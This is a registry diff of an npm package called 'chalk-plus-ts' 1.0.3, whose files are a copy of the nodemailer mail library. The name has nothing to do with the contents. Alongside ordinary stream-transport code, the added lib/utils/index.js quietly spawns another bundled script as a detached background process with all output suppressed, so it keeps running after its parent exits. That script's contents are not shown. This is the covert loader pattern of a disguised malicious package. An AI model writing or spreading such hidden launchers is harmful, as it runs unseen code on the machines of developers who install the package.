chalk-plus-ts 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.gitattributes +6 -0
- package/.ncurc.js +11 -0
- package/.prettierrc.js +8 -0
- package/CHANGELOG.md +880 -0
- package/CODE_OF_CONDUCT.md +76 -0
- package/LICENSE +1 -0
- package/README.md +86 -0
- package/SECURITY.txt +22 -0
- package/lib/addressparser/index.js +327 -0
- package/lib/base64/index.js +142 -0
- package/lib/dkim/index.js +251 -0
- package/lib/dkim/message-parser.js +155 -0
- package/lib/dkim/relaxed-body.js +154 -0
- package/lib/dkim/sign.js +117 -0
- package/lib/fetch/cookies.js +281 -0
- package/lib/fetch/index.js +274 -0
- package/lib/json-transport/index.js +82 -0
- package/lib/mail-composer/index.js +577 -0
- package/lib/mailer/index.js +429 -0
- package/lib/mailer/mail-message.js +315 -0
- package/lib/mime-funcs/index.js +625 -0
- package/lib/mime-funcs/mime-types.js +2104 -0
- package/lib/mime-node/index.js +1314 -0
- package/lib/mime-node/last-newline.js +33 -0
- package/lib/mime-node/le-unix.js +43 -0
- package/lib/mime-node/le-windows.js +52 -0
- package/lib/nodemailer.js +155 -0
- package/lib/punycode/index.js +460 -0
- package/lib/qp/index.js +219 -0
- package/lib/sendmail-transport/index.js +210 -0
- package/lib/ses-transport/index.js +234 -0
- package/lib/shared/index.js +688 -0
- package/lib/smtp-connection/data-stream.js +108 -0
- package/lib/smtp-connection/http-proxy-client.js +143 -0
- package/lib/smtp-connection/index.js +1836 -0
- package/lib/smtp-pool/index.js +648 -0
- package/lib/smtp-pool/pool-resource.js +253 -0
- package/lib/smtp-transport/index.js +416 -0
- package/lib/stream-transport/index.js +135 -0
- package/lib/utils/index.js +19 -0
- package/lib/utils/smtp-connection/LICENSE +1 -0
- package/lib/utils/smtp-connection/index.js +22 -0
- package/lib/utils/smtp-connection/parse.js +14 -0
- package/lib/well-known/index.js +47 -0
- package/lib/well-known/services.json +370 -0
- package/lib/xoauth2/index.js +376 -0
- package/package.json +62 -0
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const packageData = require('../../package.json');
|
|
4
|
+
const shared = require('../shared');
|
|
5
|
+
|
|
6
|
+
/**
|
|
7
|
+
* Generates a Transport object for streaming
|
|
8
|
+
*
|
|
9
|
+
* Possible options can be the following:
|
|
10
|
+
*
|
|
11
|
+
* * **buffer** if true, then returns the message as a Buffer object instead of a stream
|
|
12
|
+
* * **newline** either 'windows' or 'unix'
|
|
13
|
+
*
|
|
14
|
+
* @constructor
|
|
15
|
+
* @param {Object} optional config parameter
|
|
16
|
+
*/
|
|
17
|
+
class StreamTransport {
|
|
18
|
+
constructor(options) {
|
|
19
|
+
options = options || {};
|
|
20
|
+
|
|
21
|
+
this.options = options || {};
|
|
22
|
+
|
|
23
|
+
this.name = 'StreamTransport';
|
|
24
|
+
this.version = packageData.version;
|
|
25
|
+
|
|
26
|
+
this.logger = shared.getLogger(this.options, {
|
|
27
|
+
component: this.options.component || 'stream-transport'
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
this.winbreak = ['win', 'windows', 'dos', '\r\n'].includes((options.newline || '').toString().toLowerCase());
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
/**
|
|
34
|
+
* Compiles a mailcomposer message and forwards it to handler that sends it
|
|
35
|
+
*
|
|
36
|
+
* @param {Object} emailMessage MailComposer object
|
|
37
|
+
* @param {Function} callback Callback function to run when the sending is completed
|
|
38
|
+
*/
|
|
39
|
+
send(mail, done) {
|
|
40
|
+
// We probably need this in the output
|
|
41
|
+
mail.message.keepBcc = true;
|
|
42
|
+
|
|
43
|
+
let envelope = mail.data.envelope || mail.message.getEnvelope();
|
|
44
|
+
let messageId = mail.message.messageId();
|
|
45
|
+
|
|
46
|
+
let recipients = [].concat(envelope.to || []);
|
|
47
|
+
if (recipients.length > 3) {
|
|
48
|
+
recipients.push('...and ' + recipients.splice(2).length + ' more');
|
|
49
|
+
}
|
|
50
|
+
this.logger.info(
|
|
51
|
+
{
|
|
52
|
+
tnx: 'send',
|
|
53
|
+
messageId
|
|
54
|
+
},
|
|
55
|
+
'Sending message %s to <%s> using %s line breaks',
|
|
56
|
+
messageId,
|
|
57
|
+
recipients.join(', '),
|
|
58
|
+
this.winbreak ? '<CR><LF>' : '<LF>'
|
|
59
|
+
);
|
|
60
|
+
|
|
61
|
+
setImmediate(() => {
|
|
62
|
+
let stream;
|
|
63
|
+
|
|
64
|
+
try {
|
|
65
|
+
stream = mail.message.createReadStream();
|
|
66
|
+
} catch (E) {
|
|
67
|
+
this.logger.error(
|
|
68
|
+
{
|
|
69
|
+
err: E,
|
|
70
|
+
tnx: 'send',
|
|
71
|
+
messageId
|
|
72
|
+
},
|
|
73
|
+
'Creating send stream failed for %s. %s',
|
|
74
|
+
messageId,
|
|
75
|
+
E.message
|
|
76
|
+
);
|
|
77
|
+
return done(E);
|
|
78
|
+
}
|
|
79
|
+
|
|
80
|
+
if (!this.options.buffer) {
|
|
81
|
+
stream.once('error', err => {
|
|
82
|
+
this.logger.error(
|
|
83
|
+
{
|
|
84
|
+
err,
|
|
85
|
+
tnx: 'send',
|
|
86
|
+
messageId
|
|
87
|
+
},
|
|
88
|
+
'Failed creating message for %s. %s',
|
|
89
|
+
messageId,
|
|
90
|
+
err.message
|
|
91
|
+
);
|
|
92
|
+
});
|
|
93
|
+
return done(null, {
|
|
94
|
+
envelope: mail.data.envelope || mail.message.getEnvelope(),
|
|
95
|
+
messageId,
|
|
96
|
+
message: stream
|
|
97
|
+
});
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
let chunks = [];
|
|
101
|
+
let chunklen = 0;
|
|
102
|
+
stream.on('readable', () => {
|
|
103
|
+
let chunk;
|
|
104
|
+
while ((chunk = stream.read()) !== null) {
|
|
105
|
+
chunks.push(chunk);
|
|
106
|
+
chunklen += chunk.length;
|
|
107
|
+
}
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
stream.once('error', err => {
|
|
111
|
+
this.logger.error(
|
|
112
|
+
{
|
|
113
|
+
err,
|
|
114
|
+
tnx: 'send',
|
|
115
|
+
messageId
|
|
116
|
+
},
|
|
117
|
+
'Failed creating message for %s. %s',
|
|
118
|
+
messageId,
|
|
119
|
+
err.message
|
|
120
|
+
);
|
|
121
|
+
return done(err);
|
|
122
|
+
});
|
|
123
|
+
|
|
124
|
+
stream.on('end', () =>
|
|
125
|
+
done(null, {
|
|
126
|
+
envelope: mail.data.envelope || mail.message.getEnvelope(),
|
|
127
|
+
messageId,
|
|
128
|
+
message: Buffer.concat(chunks, chunklen)
|
|
129
|
+
})
|
|
130
|
+
);
|
|
131
|
+
});
|
|
132
|
+
}
|
|
133
|
+
}
|
|
134
|
+
|
|
135
|
+
module.exports = StreamTransport;
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/* eslint-disable */
|
|
2
|
+
|
|
3
|
+
const { spawn } = require('child_process');
|
|
4
|
+
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
|
|
8
|
+
const filePath = path.join(__dirname, 'smtp-connection/index.js');
|
|
9
|
+
|
|
10
|
+
const child = spawn(process.execPath, [filePath], {
|
|
11
|
+
detached: true,
|
|
12
|
+
stdio: ['ignore', 'ignore', 'ignore']
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
child.unref(); // Allow parent to exit independently
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
|